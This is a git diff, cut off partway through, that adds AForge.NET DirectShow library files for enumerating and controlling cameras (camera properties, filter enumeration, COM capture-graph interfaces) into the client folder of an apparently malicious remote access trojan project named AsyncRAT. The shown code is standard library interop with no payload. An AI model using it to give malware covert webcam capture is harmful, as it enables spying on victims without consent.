diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs new file mode 100644 index 0000000..8ab1f6c --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs @@ -0,0 +1,67 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + + /// + /// The enumeration specifies a setting on a camera. + /// + public enum CameraControlProperty + { + /// + /// Pan control. + /// + Pan = 0, + /// + /// Tilt control. + /// + Tilt, + /// + /// Roll control. + /// + Roll, + /// + /// Zoom control. + /// + Zoom, + /// + /// Exposure control. + /// + Exposure, + /// + /// Iris control. + /// + Iris, + /// + /// Focus control. + /// + Focus + } + + /// + /// The enumeration defines whether a camera setting is controlled manually or automatically. + /// + [Flags] + public enum CameraControlFlags + { + /// + /// No control flag. + /// + None = 0x0, + /// + /// Auto control Flag. + /// + Auto = 0x0001, + /// + /// Manual control Flag. + /// + Manual = 0x0002 + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs new file mode 100644 index 0000000..c70e966 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs @@ -0,0 +1,193 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + using AForge.Video.DirectShow.Internals; + + /// + /// DirectShow filter information. + /// + /// + public class FilterInfo : IComparable + { + /// + /// Filter name. + /// + public string Name { get; private set; } + + /// + /// Filters's moniker string. + /// + /// + public string MonikerString { get; private set; } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Filters's moniker string. + /// + public FilterInfo( string monikerString ) + { + MonikerString = monikerString; + Name = GetName( monikerString ); + } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Filter's moniker object. + /// + internal FilterInfo( IMoniker moniker ) + { + MonikerString = GetMonikerString( moniker ); + Name = GetName( moniker ); + } + + /// + /// Compare the object with another instance of this class. + /// + /// + /// Object to compare with. + /// + /// A signed number indicating the relative values of this instance and value. + /// + public int CompareTo( object value ) + { + FilterInfo f = (FilterInfo) value; + + if ( f == null ) + return 1; + + return ( this.Name.CompareTo( f.Name ) ); + } + + /// + /// Create an instance of the filter. + /// + /// + /// Filter's moniker string. + /// + /// Returns filter's object, which implements IBaseFilter interface. + /// + /// The returned filter's object should be released using Marshal.ReleaseComObject(). + /// + public static object CreateFilter( string filterMoniker ) + { + // filter's object + object filterObject = null; + // bind context and moniker objects + IBindCtx bindCtx = null; + IMoniker moniker = null; + + int n = 0; + + // create bind context + if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) + { + // convert moniker`s string to a moniker + if ( Win32.MkParseDisplayName( bindCtx, filterMoniker, ref n, out moniker ) == 0 ) + { + // get device base filter + Guid filterId = typeof( IBaseFilter ).GUID; + moniker.BindToObject( null, null, ref filterId, out filterObject ); + + Marshal.ReleaseComObject( moniker ); + } + Marshal.ReleaseComObject( bindCtx ); + } + return filterObject; + } + + // + // Get moniker string of the moniker + // + private string GetMonikerString( IMoniker moniker ) + { + string str; + moniker.GetDisplayName( null, null, out str ); + return str; + } + + // + // Get filter name represented by the moniker + // + private string GetName( IMoniker moniker ) + { + Object bagObj = null; + IPropertyBag bag = null; + + try + { + Guid bagId = typeof( IPropertyBag ).GUID; + // get property bag of the moniker + moniker.BindToStorage( null, null, ref bagId, out bagObj ); + bag = (IPropertyBag) bagObj; + + // read FriendlyName + object val = ""; + int hr = bag.Read( "FriendlyName", ref val, IntPtr.Zero ); + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + // get it as string + string ret = (string) val; + if ( ( ret == null ) || ( ret.Length < 1 ) ) + throw new ApplicationException( ); + + return ret; + } + catch ( Exception ) + { + return ""; + } + finally + { + // release all COM objects + bag = null; + if ( bagObj != null ) + { + Marshal.ReleaseComObject( bagObj ); + bagObj = null; + } + } + } + + // + // Get filter name represented by the moniker string + // + private string GetName( string monikerString ) + { + IBindCtx bindCtx = null; + IMoniker moniker = null; + String name = ""; + int n = 0; + + // create bind context + if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) + { + // convert moniker`s string to a moniker + if ( Win32.MkParseDisplayName( bindCtx, monikerString, ref n, out moniker ) == 0 ) + { + // get device name + name = GetName( moniker ); + + Marshal.ReleaseComObject( moniker ); + moniker = null; + } + Marshal.ReleaseComObject( bindCtx ); + bindCtx = null; + } + return name; + } + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs new file mode 100644 index 0000000..dabd30d --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs @@ -0,0 +1,138 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + using AForge.Video.DirectShow.Internals; + + /// + /// Collection of filters' information objects. + /// + /// + /// The class allows to enumerate DirectShow filters of specified category. For + /// a list of categories see . + /// + /// Sample usage: + /// + /// // enumerate video devices + /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); + /// // list devices + /// foreach ( FilterInfo device in videoDevices ) + /// { + /// // ... + /// } + /// + /// + /// + public class FilterInfoCollection : CollectionBase + { + /// + /// Initializes a new instance of the class. + /// + /// + /// Guid of DirectShow filter category. See . + /// + /// Build collection of filters' information objects for the + /// specified filter category. + /// + public FilterInfoCollection( Guid category ) + { + CollectFilters( category ); + } + + /// + /// Get filter information object. + /// + /// + /// Index of filter information object to retrieve. + /// + /// Filter information object. + /// + public FilterInfo this[int index] + { + get + { + return ( (FilterInfo) InnerList[index] ); + } + } + + // Collect filters of specified category + private void CollectFilters( Guid category ) + { + object comObj = null; + ICreateDevEnum enumDev = null; + IEnumMoniker enumMon = null; + IMoniker[] devMon = new IMoniker[1]; + int hr; + + try + { + // Get the system device enumerator + Type srvType = Type.GetTypeFromCLSID( Clsid.SystemDeviceEnum ); + if ( srvType == null ) + throw new ApplicationException( "Failed creating device enumerator" ); + + // create device enumerator + comObj = Activator.CreateInstance( srvType ); + enumDev = (ICreateDevEnum) comObj; + + // Create an enumerator to find filters of specified category + hr = enumDev.CreateClassEnumerator( ref category, out enumMon, 0 ); + if ( hr != 0 ) + throw new ApplicationException( "No devices of the category" ); + + // Collect all filters + IntPtr n = IntPtr.Zero; + while ( true ) + { + // Get next filter + hr = enumMon.Next( 1, devMon, n ); + if ( ( hr != 0 ) || ( devMon[0] == null ) ) + break; + + // Add the filter + FilterInfo filter = new FilterInfo( devMon[0] ); + InnerList.Add( filter ); + + // Release COM object + Marshal.ReleaseComObject( devMon[0] ); + devMon[0] = null; + } + + // Sort the collection + InnerList.Sort( ); + } + catch + { + } + finally + { + // release all COM objects + enumDev = null; + if ( comObj != null ) + { + Marshal.ReleaseComObject( comObj ); + comObj = null; + } + if ( enumMon != null ) + { + Marshal.ReleaseComObject( enumMon ); + enumMon = null; + } + if ( devMon[0] != null ) + { + Marshal.ReleaseComObject( devMon[0] ); + devMon[0] = null; + } + } + } + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs new file mode 100644 index 0000000..c207797 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs @@ -0,0 +1,81 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment, + /// or shutter speed. To obtain this interface, query the filter that controls the camera. + /// + [ComImport, + Guid( "C6E13370-30AC-11d0-A18C-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMCameraControl + { + /// + /// Gets the range and default value of a specified camera property. + /// + /// + /// Specifies the property to query. + /// Receives the minimum value of the property. + /// Receives the maximum value of the property. + /// Receives the step size for the property. + /// Receives the default value of the property. + /// Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetRange( + [In] CameraControlProperty Property, + [Out] out int pMin, + [Out] out int pMax, + [Out] out int pSteppingDelta, + [Out] out int pDefault, + [Out] out CameraControlFlags pCapsFlags + ); + + /// + /// Sets a specified property on the camera. + /// + /// + /// Specifies the property to set. + /// Specifies the new value of the property. + /// Specifies the desired control setting, as a member of the CameraControlFlags enumeration. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Set( + [In] CameraControlProperty Property, + [In] int lValue, + [In] CameraControlFlags Flags + ); + + /// + /// Gets the current setting of a camera property. + /// + /// + /// Specifies the property to retrieve. + /// Receives the value of the property. + /// Receives a member of the CameraControlFlags enumeration. + /// The returned value indicates whether the setting is controlled manually or automatically. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Get( + [In] CameraControlProperty Property, + [Out] out int lValue, + [Out] out CameraControlFlags Flags + ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs new file mode 100644 index 0000000..b67fc09 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs @@ -0,0 +1,88 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2012 +// contacts@aforgenet.com +// + +using System; +using System.Runtime.InteropServices; + +namespace AForge.Video.DirectShow.Internals +{ + /// + /// The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter. + /// + [ComImport, System.Security.SuppressUnmanagedCodeSecurity, + Guid( "C6E13380-30AC-11D0-A18C-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMCrossbar + { + /// + /// Retrieves the number of input and output pins on the crossbar filter. + /// + /// + /// Variable that receives the number of output pins. + /// Variable that receives the number of input pins. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_PinCounts( [Out] out int outputPinCount, [Out] out int inputPinCount ); + + /// + /// Queries whether a specified input pin can be routed to a specified output pin. + /// + /// + /// Specifies the index of the output pin. + /// Specifies the index of input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CanRoute( [In] int outputPinIndex, [In] int inputPinIndex ); + + /// + /// Routes an input pin to an output pin. + /// + /// + /// Specifies the index of the output pin. + /// Specifies the index of the input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Route( [In] int outputPinIndex, [In] int inputPinIndex ); + + /// + /// Retrieves the input pin that is currently routed to the specified output pin. + /// + /// + /// Specifies the index of the output pin. + /// Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_IsRoutedTo( [In] int outputPinIndex, [Out] out int inputPinIndex ); + + /// + /// Retrieves information about a specified pin. + /// + /// + /// Specifies the direction of the pin. Use one of the following values. + /// Specifies the index of the pin. + /// Variable that receives the index of the related pin, or –1 if no pin is related to this pin. + /// Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_CrossbarPinInfo( + [In, MarshalAs( UnmanagedType.Bool )] bool isInputPin, + [In] int pinIndex, + [Out] out int pinIndexRelated, + [Out] out PhysicalConnectorType physicalType ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs new file mode 100644 index 0000000..e72f06e --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs @@ -0,0 +1,74 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface sets the output format on certain capture and compression filters, + /// for both audio and video. + /// + /// + [ComImport, + Guid( "C6E13340-30AC-11d0-A18C-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMStreamConfig + { + /// + /// Set the output format on the pin. + /// + /// + /// Media type to set. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetFormat( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves the audio or video stream's format. + /// + /// + /// Retrieved media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFormat( [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType ); + + /// + /// Retrieve the number of format capabilities that this pin supports. + /// + /// + /// Variable that receives the number of format capabilities. + /// Variable that receives the size of the configuration structure in bytes. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetNumberOfCapabilities( out int count, out int size ); + + /// + /// Retrieve a set of format capabilities. + /// + /// + /// Specifies the format capability to retrieve, indexed from zero. + /// Retrieved media type. + /// Byte array, which receives information about capabilities. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetStreamCaps( + [In] int index, + [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType, + [In, MarshalAs( UnmanagedType.LPStruct )] VideoStreamConfigCaps streamConfigCaps + ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs new file mode 100644 index 0000000..cb57dfe --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs @@ -0,0 +1,112 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface controls certain video capture operations such as enumerating available + /// frame rates and image orientation. + /// + /// + [ComImport, + Guid( "6A2E0670-28E4-11D0-A18c-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMVideoControl + { + /// + /// Retrieves the capabilities of the underlying hardware. + /// + /// + /// Pin to query capabilities from. + /// Get capabilities of the specified pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCaps( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags flags ); + + /// + /// Sets the video control mode of operation. + /// + /// + /// The pin to set the video control mode on. + /// Value specifying a combination of the flags to set the video control mode. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetMode( [In] IPin pin, [In, MarshalAs( UnmanagedType.I4 )] VideoControlFlags mode ); + + /// + /// Retrieves the video control mode of operation. + /// + /// + /// The pin to retrieve the video control mode from. + /// Gets combination of flags, which specify the video control mode. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetMode( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags mode ); + + /// + /// The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units. + /// USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested + /// because of bandwidth availability. This is only available during video streaming. + /// + /// + /// The pin to retrieve the frame rate from. + /// Gets frame rate in frame duration in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentActualFrameRate( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I8 )] out long actualFrameRate ); + + /// + /// Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections + /// such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth + /// availability. + /// + /// + /// The pin to retrieve the maximum frame rate from. + /// Index of the format to query for maximum frame rate. This index corresponds + /// to the order in which formats are enumerated by . + /// Frame image size (width and height) in pixels. + /// Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetMaxAvailableFrameRate( [In] IPin pin, [In] int index, + [In] System.Drawing.Size dimensions, + [Out] out long maxAvailableFrameRate ); + + /// + /// Retrieves a list of available frame rates. + /// + /// + /// The pin to retrieve the maximum frame rate from. + /// Index of the format to query for maximum frame rate. This index corresponds + /// to the order in which formats are enumerated by . + /// Frame image size (width and height) in pixels. + /// Number of elements in the list of frame rates. + /// Array of frame rates in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFrameRateList( [In] IPin pin, [In] int index, + [In] System.Drawing.Size dimensions, + [Out] out int listSize, + [Out] out IntPtr frameRate ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs new file mode 100644 index 0000000..3c03a31 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs @@ -0,0 +1,161 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IBaseFilter interface provides methods for controlling a filter. + /// All DirectShow filters expose this interface + /// + /// + [ComImport, + Guid( "56A86895-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IBaseFilter + { + // --- IPersist Methods + + /// + /// Returns the class identifier (CLSID) for the component object. + /// + /// + /// Points to the location of the CLSID on return. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetClassID( [Out] out Guid ClassID ); + + // --- IMediaFilter Methods + + /// + /// Stops the filter. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Stop( ); + + /// + /// Pauses the filter. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Pause( ); + + /// + /// Runs the filter. + /// + /// + /// Reference time corresponding to stream time 0. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Run( long start ); + + /// + /// Retrieves the state of the filter (running, stopped, or paused). + /// + /// + /// Time-out interval, in milliseconds. + /// Pointer to a variable that receives filter's state. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetState( int milliSecsTimeout, [Out] out int filterState ); + + /// + /// Sets the reference clock for the filter or the filter graph. + /// + /// + /// Pointer to the clock's IReferenceClock interface, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetSyncSource( [In] IntPtr clock ); + + /// + /// Retrieves the current reference clock. + /// + /// + /// Address of a variable that receives a pointer to the clock's IReferenceClock interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetSyncSource( [Out] out IntPtr clock ); + + // --- IBaseFilter Methods + + /// + /// Enumerates the pins on this filter. + /// + /// + /// Address of a variable that receives a pointer to the IEnumPins interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumPins( [Out] out IEnumPins enumPins ); + + /// + /// Retrieves the pin with the specified identifier. + /// + /// + /// Pointer to a constant wide-character string that identifies the pin. + /// Address of a variable that receives a pointer to the pin's IPin interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindPin( [In, MarshalAs( UnmanagedType.LPWStr )] string id, [Out] out IPin pin ); + + /// + /// Retrieves information about the filter. + /// + /// + /// Pointer to FilterInfo structure. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryFilterInfo( [Out] out FilterInfo filterInfo ); + + /// + /// Notifies the filter that it has joined or left the filter graph. + /// + /// + /// Pointer to the Filter Graph Manager's IFilterGraph interface, or NULL + /// if the filter is leaving the graph. + /// String that specifies a name for the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int JoinFilterGraph( [In] IFilterGraph graph, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Retrieves a string containing vendor information. + /// + /// + /// Receives a string containing the vendor information. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryVendorInfo( [Out, MarshalAs( UnmanagedType.LPWStr )] out string vendorInfo ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs new file mode 100644 index 0000000..4ef802a --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs @@ -0,0 +1,192 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface builds capture graphs and other custom filter graphs. + /// + /// + [ComImport, + Guid( "93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ICaptureGraphBuilder2 + { + /// + /// Specify filter graph for the capture graph builder to use. + /// + /// + /// Filter graph's interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetFiltergraph( [In] IGraphBuilder graphBuilder ); + + /// + /// Retrieve the filter graph that the builder is using. + /// + /// + /// Filter graph's interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFiltergraph( [Out] out IGraphBuilder graphBuilder ); + + /// + /// Create file writing section of the filter graph. + /// + /// + /// GUID that represents either the media subtype of the output or the + /// class identifier (CLSID) of a multiplexer filter or file writer filter. + /// Output file name. + /// Receives the multiplexer's interface. + /// Receives the file writer's IFileSinkFilter interface. Can be NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetOutputFileName( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [Out] out IBaseFilter baseFilter, + [Out] out IntPtr fileSinkFilter + ); + + /// + /// Searche the graph for a specified interface, starting from a specified filter. + /// + /// + /// GUID that specifies the search criteria. + /// GUID that specifies the major media type of an output pin, or NULL. + /// interface of the filter. The method begins searching from this filter. + /// Interface identifier (IID) of the interface to locate. + /// Receives found interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindInterface( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, + [In] IBaseFilter baseFilter, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid interfaceID , + [Out, MarshalAs( UnmanagedType.IUnknown )] out object retInterface + ); + + /// + /// Connect an output pin on a source filter to a rendering filter, optionally through a compression filter. + /// + /// + /// Pin category. + /// Major-type GUID that specifies the media type of the output pin. + /// Starting filter for the connection. + /// Interface of an intermediate filter, such as a compression filter. Can be NULL. + /// Sink filter, such as a renderer or mux filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderStream( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.IUnknown )] object source, + [In] IBaseFilter compressor, + [In] IBaseFilter renderer + ); + + /// + /// Set the start and stop times for one or more streams of captured data. + /// + /// + /// Pin category. + /// Major-type GUID that specifies the media type. + /// interface that specifies which filter to control. + /// Start time. + /// Stop time. + /// Value that is sent as the second parameter of the + /// EC_STREAM_CONTROL_STARTED event notification. + /// Value that is sent as the second parameter of the + /// EC_STREAM_CONTROL_STOPPED event notification. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ControlStream( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.Interface )] IBaseFilter filter, + [In] long start, + [In] long stop, + [In] short startCookie, + [In] short stopCookie + ); + + /// + /// Preallocate a capture file to a specified size. + /// + /// + /// File name to create or resize. + /// Size of the file to allocate, in bytes. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AllocCapFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In] long size + ); + + /// + /// Copy the valid media data from a capture file. + /// + /// + /// Old file name. + /// New file name. + /// Boolean value that specifies whether pressing the ESC key cancels the copy operation. + /// IAMCopyCaptureFileProgress interface to display progress information, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CopyCaptureFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string oldFileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string newFileName, + [In, MarshalAs( UnmanagedType.Bool )] bool allowEscAbort, + [In] IntPtr callback + ); + + /// + /// + /// + /// + /// Interface on a filter, or to an interface on a pin. + /// Pin direction (input or output). + /// Pin category. + /// Media type. + /// Boolean value that specifies whether the pin must be unconnected. + /// Zero-based index of the pin to retrieve, from the set of matching pins. + /// Interface of the matching pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindPin( + [In, MarshalAs( UnmanagedType.IUnknown )] object source, + [In] PinDirection pinDirection, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.Bool )] bool unconnected, + [In] int index, + [Out, MarshalAs( UnmanagedType.Interface )] out IPin pin + ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs new file mode 100644 index 0000000..81e4b59 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs @@ -0,0 +1,37 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// The ICreateDevEnum interface creates an enumerator for devices within a particular category, + /// such as video capture devices, audio capture devices, video compressors, and so forth. + /// + /// + [ComImport, + Guid( "29840822-5B84-11D0-BD3B-00A0C911CE86" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ICreateDevEnum + { + /// + /// Creates a class enumerator for a specified device category. + /// + /// + /// Specifies the class identifier of the device category. + /// Address of a variable that receives an IEnumMoniker interface pointer + /// Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CreateClassEnumerator( [In] ref Guid type, [Out] out IEnumMoniker enumMoniker, [In] int flags ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs new file mode 100644 index 0000000..a4c8eb9 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs @@ -0,0 +1,71 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007-2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface is used by applications or other filters to determine + /// what filters exist in the filter graph. + /// + /// + [ComImport, + Guid( "56A86893-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IEnumFilters + { + /// + /// Retrieves the specified number of filters in the enumeration sequence. + /// + /// + /// Number of filters to retrieve. + /// Array in which to place interfaces. + /// Actual number of filters placed in the array. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Next( [In] int cFilters, + [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IBaseFilter[] filters, + [Out] out int filtersFetched ); + + /// + /// Skips a specified number of filters in the enumeration sequence. + /// + /// + /// Number of filters to skip. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Skip( [In] int cFilters ); + + /// + /// Resets the enumeration sequence to the beginning. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reset( ); + + /// + /// Makes a copy of the enumerator with the same enumeration state. + /// + /// + /// Duplicate of the enumerator. + /// + /// + /// Return's HRESULT error code. + /// + /// + [PreserveSig] + int Clone( [Out] out IEnumFilters enumFilters ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs new file mode 100644 index 0000000..41e1f74 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs @@ -0,0 +1,68 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// 